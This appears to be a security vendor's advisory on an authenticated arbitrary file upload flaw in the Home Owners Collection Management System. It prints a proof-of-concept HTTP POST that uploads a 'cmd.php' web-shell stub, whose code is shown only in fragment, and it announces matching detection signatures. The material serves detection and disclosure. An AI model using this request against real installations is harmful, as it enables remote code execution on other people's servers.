Home Owners Collection Management System File Upload

Application Details

Home Owners Collection Management System is a web based system which stores the collection records of the home owners association members, and other relevant information.


Home Owners Collection Management System could allow a remote authenticated attacker to upload arbitrary files, caused by the improper validation of file extensions by the /hocms/classes/SystemSettings.php endpoint.


By sending a specially crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

POST /hocms/classes/SystemSettings.php?f=update_settings HTTP/1.1

Content-Type: application/octet-stream

Content-Disposition: form-data; name="cover"; filename="cmd.php"
Content-Type: application/x-php
if($_REQUEST['s']) {
  } else phpinfo();



By turning this into a traffic file and matching rule, we are able to detect arbitrary file upload attempts to the application.


Idappcom has created signatures 8022468 and 8021851 along with traffic files.
